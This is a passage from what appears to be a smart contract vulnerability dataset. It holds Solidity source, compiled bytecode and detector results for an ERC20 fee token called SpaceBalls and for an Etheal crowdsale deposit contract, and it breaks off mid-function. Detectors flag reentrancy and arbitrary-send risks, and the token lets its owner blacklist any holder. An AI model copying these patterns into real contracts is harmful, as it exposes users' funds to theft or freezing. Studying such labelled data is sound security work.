1b600052601160045260246000fd5b6000600019821415611ca657611ca6611c7c565b5060010190565b60008219821115611cc057611cc0611c7c565b500190565b600082821015611cd757611cd7611c7c565b500390565b600060208284031215611cee57600080fd5b81516112db81611935565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611d495784516001600160a01b031683529383019391830191600101611d24565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611d8757634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611da657611da6611c7c565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212204f8a3738b74d4e49cd7ac32f68000279b2a519a820427771f6e3453ccede0ab664736f6c63430008090033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
| 8,202 |
0x174ed6e64a5903b59ca7910081e1e3a2c551afc6
|
/**
*Submitted for verification at Etherscan.io on 2021-10-30
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract SpaceBalls is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
uint256 private setTax;
uint256 private setRedis;
address payable private _feeAddrWallet1;
address payable private _feeAddrWallet2;
address payable private _feeAddrWallet3;
string private constant _name = "SpaceBalls";
string private constant _symbol = "Balls";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (address payable _add1,address payable _add2,address payable _add3) {
_feeAddrWallet1 = _add1;
_feeAddrWallet2 = _add2;
_feeAddrWallet3 = _add3;
_rOwned[_feeAddrWallet1] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddrWallet1] = true;
emit Transfer(address(0), _feeAddrWallet1, _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(amount > 0, "Transfer amount must be greater than zero");
require(!bots[from]);
if (from != address(this)) {
_feeAddr1 = setRedis;
_feeAddr2 = setTax;
uint256 contractTokenBalance = balanceOf(address(this));
if (contractTokenBalance > _tTotal/1000){
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 300000000000000000) {
sendETHToFee(address(this).balance);
}
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
uint256 toSend = amount/3;
_feeAddrWallet1.transfer(toSend);
_feeAddrWallet2.transfer(toSend);
_feeAddrWallet3.transfer(toSend);
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
setTax = 9;
setRedis = 1;
swapEnabled = true;
cooldownEnabled = true;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function blacklist(address _address) external onlyOwner{
bots[_address] = true;
}
function removeBlacklist(address notbot) external onlyOwner{
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
0x6080604052600436106101025760003560e01c8063715018a611610095578063c3c8cd8011610064578063c3c8cd80146102c7578063c9567bf9146102dc578063dd62ed3e146102f1578063eb91e65114610337578063f9f92be41461035757600080fd5b8063715018a61461023c5780638da5cb5b1461025157806395d89b4114610279578063a9059cbb146102a757600080fd5b8063313ce567116100d1578063313ce567146101c95780635932ead1146101e55780636fc3eaec1461020757806370a082311461021c57600080fd5b806306fdde031461010e578063095ea7b31461015357806318160ddd1461018357806323b872dd146101a957600080fd5b3661010957005b600080fd5b34801561011a57600080fd5b5060408051808201909152600a815269537061636542616c6c7360b01b60208201525b60405161014a91906114ca565b60405180910390f35b34801561015f57600080fd5b5061017361016e366004611436565b610377565b604051901515815260200161014a565b34801561018f57600080fd5b50683635c9adc5dea000005b60405190815260200161014a565b3480156101b557600080fd5b506101736101c43660046113f5565b61038e565b3480156101d557600080fd5b506040516009815260200161014a565b3480156101f157600080fd5b50610205610200366004611462565b6103f7565b005b34801561021357600080fd5b50610205610448565b34801561022857600080fd5b5061019b610237366004611382565b610475565b34801561024857600080fd5b50610205610497565b34801561025d57600080fd5b506000546040516001600160a01b03909116815260200161014a565b34801561028557600080fd5b5060408051808201909152600581526442616c6c7360d81b602082015261013d565b3480156102b357600080fd5b506101736102c2366004611436565b61050b565b3480156102d357600080fd5b50610205610518565b3480156102e857600080fd5b5061020561054e565b3480156102fd57600080fd5b5061019b61030c3660046113bc565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561034357600080fd5b50610205610352366004611382565b610913565b34801561036357600080fd5b50610205610372366004611382565b61095e565b60006103843384846109ac565b5060015b92915050565b600061039b848484610ad0565b6103ed84336103e885604051806060016040528060288152602001611685602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610c16565b6109ac565b5060019392505050565b6000546001600160a01b0316331461042a5760405162461bcd60e51b81526004016104219061151f565b60405180910390fd5b60128054911515600160b81b0260ff60b81b19909216919091179055565b600e546001600160a01b0316336001600160a01b03161461046857600080fd5b4761047281610c50565b50565b6001600160a01b03811660009081526002602052604081205461038890610d0e565b6000546001600160a01b031633146104c15760405162461bcd60e51b81526004016104219061151f565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000610384338484610ad0565b600e546001600160a01b0316336001600160a01b03161461053857600080fd5b600061054330610475565b905061047281610d92565b6000546001600160a01b031633146105785760405162461bcd60e51b81526004016104219061151f565b601254600160a01b900460ff16156105d25760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610421565b601180546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915561060f3082683635c9adc5dea000006109ac565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561064857600080fd5b505afa15801561065c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610680919061139f565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156106c857600080fd5b505afa1580156106dc573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610700919061139f565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b15801561074857600080fd5b505af115801561075c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610780919061139f565b601280546001600160a01b0319166001600160a01b039283161790556011541663f305d71947306107b081610475565b6000806107c56000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b15801561082857600080fd5b505af115801561083c573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610861919061149c565b50506009600c55506001600d556012805463ffff00ff60a01b198116630101000160a01b1790915560115460405163095ea7b360e01b81526001600160a01b039182166004820152600019602482015291169063095ea7b390604401602060405180830381600087803b1580156108d757600080fd5b505af11580156108eb573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061090f919061147f565b5050565b6000546001600160a01b0316331461093d5760405162461bcd60e51b81526004016104219061151f565b6001600160a01b03166000908152600660205260409020805460ff19169055565b6000546001600160a01b031633146109885760405162461bcd60e51b81526004016104219061151f565b6001600160a01b03166000908152600660205260409020805460ff19166001179055565b6001600160a01b038316610a0e5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610421565b6001600160a01b038216610a6f5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610421565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b60008111610b325760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610421565b6001600160a01b03831660009081526006602052604090205460ff1615610b5857600080fd5b6001600160a01b0383163014610c0657600d54600a55600c54600b556000610b7f30610475565b9050610b966103e8683635c9adc5dea000006115dd565b811115610c0457601254600160a81b900460ff16158015610bc557506012546001600160a01b03858116911614155b8015610bda5750601254600160b01b900460ff165b15610c0457610be881610d92565b47670429d069189e0000811115610c0257610c0247610c50565b505b505b610c11838383610f1b565b505050565b60008184841115610c3a5760405162461bcd60e51b815260040161042191906114ca565b506000610c47848661161e565b95945050505050565b6000610c5d6003836115dd565b600e546040519192506001600160a01b03169082156108fc029083906000818181858888f19350505050158015610c98573d6000803e3d6000fd5b50600f546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610cd3573d6000803e3d6000fd5b506010546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610c11573d6000803e3d6000fd5b6000600854821115610d755760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610421565b6000610d7f610f26565b9050610d8b8382610f49565b9392505050565b6012805460ff60a81b1916600160a81b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610dda57610dda61164b565b6001600160a01b03928316602091820292909201810191909152601154604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b158015610e2e57600080fd5b505afa158015610e42573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e66919061139f565b81600181518110610e7957610e7961164b565b6001600160a01b039283166020918202929092010152601154610e9f91309116846109ac565b60115460405163791ac94760e01b81526001600160a01b039091169063791ac94790610ed8908590600090869030904290600401611554565b600060405180830381600087803b158015610ef257600080fd5b505af1158015610f06573d6000803e3d6000fd5b50506012805460ff60a81b1916905550505050565b610c11838383610f8b565b6000806000610f33611082565b9092509050610f428282610f49565b9250505090565b6000610d8b83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506110c4565b600080600080600080610f9d876110f2565b6001600160a01b038f16600090815260026020526040902054959b50939950919750955093509150610fcf908761114f565b6001600160a01b03808b1660009081526002602052604080822093909355908a1681522054610ffe9086611191565b6001600160a01b038916600090815260026020526040902055611020816111f0565b61102a848361123a565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161106f91815260200190565b60405180910390a3505050505050505050565b6008546000908190683635c9adc5dea0000061109e8282610f49565b8210156110bb57505060085492683635c9adc5dea0000092509050565b90939092509050565b600081836110e55760405162461bcd60e51b815260040161042191906114ca565b506000610c4784866115dd565b600080600080600080600080600061110f8a600a54600b5461125e565b925092509250600061111f610f26565b905060008060006111328e8787876112b3565b919e509c509a509598509396509194505050505091939550919395565b6000610d8b83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610c16565b60008061119e83856115c5565b905083811015610d8b5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610421565b60006111fa610f26565b905060006112088383611303565b306000908152600260205260409020549091506112259082611191565b30600090815260026020526040902055505050565b600854611247908361114f565b6008556009546112579082611191565b6009555050565b600080808061127860646112728989611303565b90610f49565b9050600061128b60646112728a89611303565b905060006112a38261129d8b8661114f565b9061114f565b9992985090965090945050505050565b60008080806112c28886611303565b905060006112d08887611303565b905060006112de8888611303565b905060006112f08261129d868661114f565b939b939a50919850919650505050505050565b60008261131257506000610388565b600061131e83856115ff565b90508261132b85836115dd565b14610d8b5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610421565b60006020828403121561139457600080fd5b8135610d8b81611661565b6000602082840312156113b157600080fd5b8151610d8b81611661565b600080604083850312156113cf57600080fd5b82356113da81611661565b915060208301356113ea81611661565b809150509250929050565b60008060006060848603121561140a57600080fd5b833561141581611661565b9250602084013561142581611661565b929592945050506040919091013590565b6000806040838503121561144957600080fd5b823561145481611661565b946020939093013593505050565b60006020828403121561147457600080fd5b8135610d8b81611676565b60006020828403121561149157600080fd5b8151610d8b81611676565b6000806000606084860312156114b157600080fd5b8351925060208401519150604084015190509250925092565b600060208083528351808285015260005b818110156114f7578581018301518582016040015282016114db565b81811115611509576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156115a45784516001600160a01b03168352938301939183019160010161157f565b50506001600160a01b03969096166060850152505050608001529392505050565b600082198211156115d8576115d8611635565b500190565b6000826115fa57634e487b7160e01b600052601260045260246000fd5b500490565b600081600019048311821515161561161957611619611635565b500290565b60008282101561163057611630611635565b500390565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b6001600160a01b038116811461047257600080fd5b801515811461047257600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122008c99e6486b27e0700817c9347db1ffc2d41ccfe39dd9455eff86d0f2c99752a64736f6c63430008070033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 8,203 |
0xf53cbc0a85bc81e1b99d6197d74d735df749f8a5
|
pragma solidity ^0.4.17;
/**
* @title ERC20
* @dev ERC20 interface
*/
contract ERC20 {
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
function allowance(address owner, address spender) public constant returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/// @dev Crowdsale interface for Etheal Normal Sale, functions needed from outside.
contract iEthealSale {
bool public paused;
uint256 public minContribution;
uint256 public whitelistThreshold;
mapping (address => uint256) public stakes;
function setPromoBonus(address _investor, uint256 _value) public;
function buyTokens(address _beneficiary) public payable;
function depositEth(address _beneficiary, uint256 _time, bytes _whitelistSign) public payable;
function depositOffchain(address _beneficiary, uint256 _amount, uint256 _time) public;
function hasEnded() public constant returns (bool);
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title claim accidentally sent tokens
*/
contract HasNoTokens is Ownable {
event ExtractedTokens(address indexed _token, address indexed _claimer, uint _amount);
/// @notice This method can be used to extract mistakenly
/// sent tokens to this contract.
/// @param _token The address of the token contract that you want to recover
/// set to 0 in case you want to extract ether.
/// @param _claimer Address that tokens will be send to
function extractTokens(address _token, address _claimer) onlyOwner public {
if (_token == 0x0) {
_claimer.transfer(this.balance);
return;
}
ERC20 token = ERC20(_token);
uint balance = token.balanceOf(this);
token.transfer(_claimer, balance);
ExtractedTokens(_token, _claimer, balance);
}
}
/**
* @title Eliptic curve signature operations
*
* @dev Based on https://gist.github.com/axic/5b33912c6f61ae6fd96d6c4a47afde6d
*/
library ECRecovery {
/**
* @dev Recover signer address from a message by using his signature
* @param hash bytes32 message, the hash is the signed message. What is recovered is the signer address.
* @param sig bytes signature, the signature is generated using web3.eth.sign()
*/
function recover(bytes32 hash, bytes sig) public pure returns (address) {
bytes32 r;
bytes32 s;
uint8 v;
//Check the signature length
if (sig.length != 65) {
return (address(0));
}
// Divide the signature in r, s and v variables
assembly {
r := mload(add(sig, 32))
s := mload(add(sig, 64))
v := byte(0, mload(add(sig, 96)))
}
// Version of signature should be 27 or 28, but 0 and 1 are also possible versions
if (v < 27) {
v += 27;
}
// If the version is correct return the signer address
if (v != 27 && v != 28) {
return (address(0));
} else {
return ecrecover(hash, v, r, s);
}
}
}
/**
* @title EthealWhitelist
* @author thesved
* @notice EthealWhitelist contract which handles KYC
*/
contract EthealWhitelist is Ownable {
using ECRecovery for bytes32;
// signer address for offchain whitelist signing
address public signer;
// storing whitelisted addresses
mapping(address => bool) public isWhitelisted;
event WhitelistSet(address indexed _address, bool _state);
////////////////
// Constructor
////////////////
function EthealWhitelist(address _signer) {
require(_signer != address(0));
signer = _signer;
}
/// @notice set signing address after deployment
function setSigner(address _signer) public onlyOwner {
require(_signer != address(0));
signer = _signer;
}
////////////////
// Whitelisting: only owner
////////////////
/// @notice Set whitelist state for an address.
function setWhitelist(address _addr, bool _state) public onlyOwner {
require(_addr != address(0));
isWhitelisted[_addr] = _state;
WhitelistSet(_addr, _state);
}
/// @notice Set whitelist state for multiple addresses
function setManyWhitelist(address[] _addr, bool _state) public onlyOwner {
for (uint256 i = 0; i < _addr.length; i++) {
setWhitelist(_addr[i], _state);
}
}
/// @notice offchain whitelist check
function isOffchainWhitelisted(address _addr, bytes _sig) public view returns (bool) {
bytes32 hash = keccak256("\x19Ethereum Signed Message:\n20",_addr);
return hash.recover(_sig) == signer;
}
}
/**
* @title EthealDeposit
* @author thesved
* @dev This contract is used for storing funds while doing Whitelist
*/
contract EthealDeposit is Ownable, HasNoTokens {
using SafeMath for uint256;
// storing deposits: make sure they fit in 2 x 32 byte
struct Deposit {
uint256 amount; // 32 byte
address beneficiary; // 20 byte
uint64 time; // 8 byte
bool cleared; // 1 bit
}
uint256 public transactionCount;
uint256 public pendingCount;
mapping (uint256 => Deposit) public transactions; // store transactions
mapping (address => uint256[]) public addressTransactions; // store transaction ids for addresses
// sale contract to which we forward funds
iEthealSale public sale;
EthealWhitelist public whitelist;
event LogDeposited(address indexed beneficiary, uint256 weiAmount, uint256 id);
event LogRefunded(address indexed beneficiary, uint256 weiAmount, uint256 id);
event LogForwarded(address indexed beneficiary, uint256 weiAmount, uint256 id);
////////////////
// Constructor
////////////////
/// @notice Etheal deposit constructor
/// @param _sale address of sale contract
/// @param _whitelist address of whitelist contract
function EthealDeposit(address _sale, address _whitelist) {
require(_sale != address(0));
sale = iEthealSale(_sale);
whitelist = EthealWhitelist(_whitelist);
}
/// @notice Set sale contract address
function setSale(address _sale) public onlyOwner {
sale = iEthealSale(_sale);
}
/// @notice Set whitelist contract address
function setWhitelist(address _whitelist) public onlyOwner {
whitelist = EthealWhitelist(_whitelist);
}
/// @dev Override HasNoTokens#extractTokens to not be able to extract tokens until saleEnd and everyone got their funds back
function extractTokens(address _token, address _claimer) public onlyOwner saleEnded {
require(pendingCount == 0);
super.extractTokens(_token, _claimer);
}
////////////////
// Deposit, forward, refund
////////////////
modifier whitelistSet() {
require(address(whitelist) != address(0));
_;
}
modifier saleNotEnded() {
require(address(sale) != address(0) && !sale.hasEnded());
_;
}
modifier saleNotPaused() {
require(address(sale) != address(0) && !sale.paused());
_;
}
modifier saleEnded() {
require(address(sale) != address(0) && sale.hasEnded());
_;
}
/// @notice payable fallback calls the deposit function
function() public payable {
deposit(msg.sender, "");
}
/// @notice depositing for investor, return transaction Id
/// @param _investor address of investor
/// @param _whitelistSign offchain whitelist signiture for address, optional
function deposit(address _investor, bytes _whitelistSign) public payable whitelistSet saleNotEnded returns (uint256) {
require(_investor != address(0));
require(msg.value > 0);
require(msg.value >= sale.minContribution());
uint256 transactionId = addTransaction(_investor, msg.value);
// forward transaction automatically if whitelist is okay, so the transaction doesnt revert
if (whitelist.isWhitelisted(_investor)
|| whitelist.isOffchainWhitelisted(_investor, _whitelistSign)
|| sale.whitelistThreshold() >= sale.stakes(_investor).add(msg.value)
) {
// only forward if sale is not paused
if (!sale.paused()) {
forwardTransactionInternal(transactionId, _whitelistSign);
}
}
return transactionId;
}
/// @notice forwarding a transaction
function forwardTransaction(uint256 _id, bytes _whitelistSign) public whitelistSet saleNotEnded saleNotPaused {
require(forwardTransactionInternal(_id, _whitelistSign));
}
/// @notice forwarding multiple transactions: check whitelist
function forwardManyTransaction(uint256[] _ids) public whitelistSet saleNotEnded saleNotPaused {
uint256 _threshold = sale.whitelistThreshold();
for (uint256 i=0; i<_ids.length; i++) {
// only forward if it is within threshold or whitelisted, so the transaction doesnt revert
if ( whitelist.isWhitelisted(transactions[_ids[i]].beneficiary)
|| _threshold >= sale.stakes(transactions[_ids[i]].beneficiary).add(transactions[_ids[i]].amount )
) {
forwardTransactionInternal(_ids[i],"");
}
}
}
/// @notice forwarding transactions for an investor
function forwardInvestorTransaction(address _investor, bytes _whitelistSign) public whitelistSet saleNotEnded saleNotPaused {
bool _whitelisted = whitelist.isWhitelisted(_investor) || whitelist.isOffchainWhitelisted(_investor, _whitelistSign);
uint256 _amount = sale.stakes(_investor);
uint256 _threshold = sale.whitelistThreshold();
for (uint256 i=0; i<addressTransactions[_investor].length; i++) {
_amount = _amount.add(transactions[ addressTransactions[_investor][i] ].amount);
// only forward if it is within threshold or whitelisted, so the transaction doesnt revert
if (_whitelisted || _threshold >= _amount) {
forwardTransactionInternal(addressTransactions[_investor][i], _whitelistSign);
}
}
}
/// @notice refunding a transaction
function refundTransaction(uint256 _id) public saleEnded {
require(refundTransactionInternal(_id));
}
/// @notice refunding multiple transactions
function refundManyTransaction(uint256[] _ids) public saleEnded {
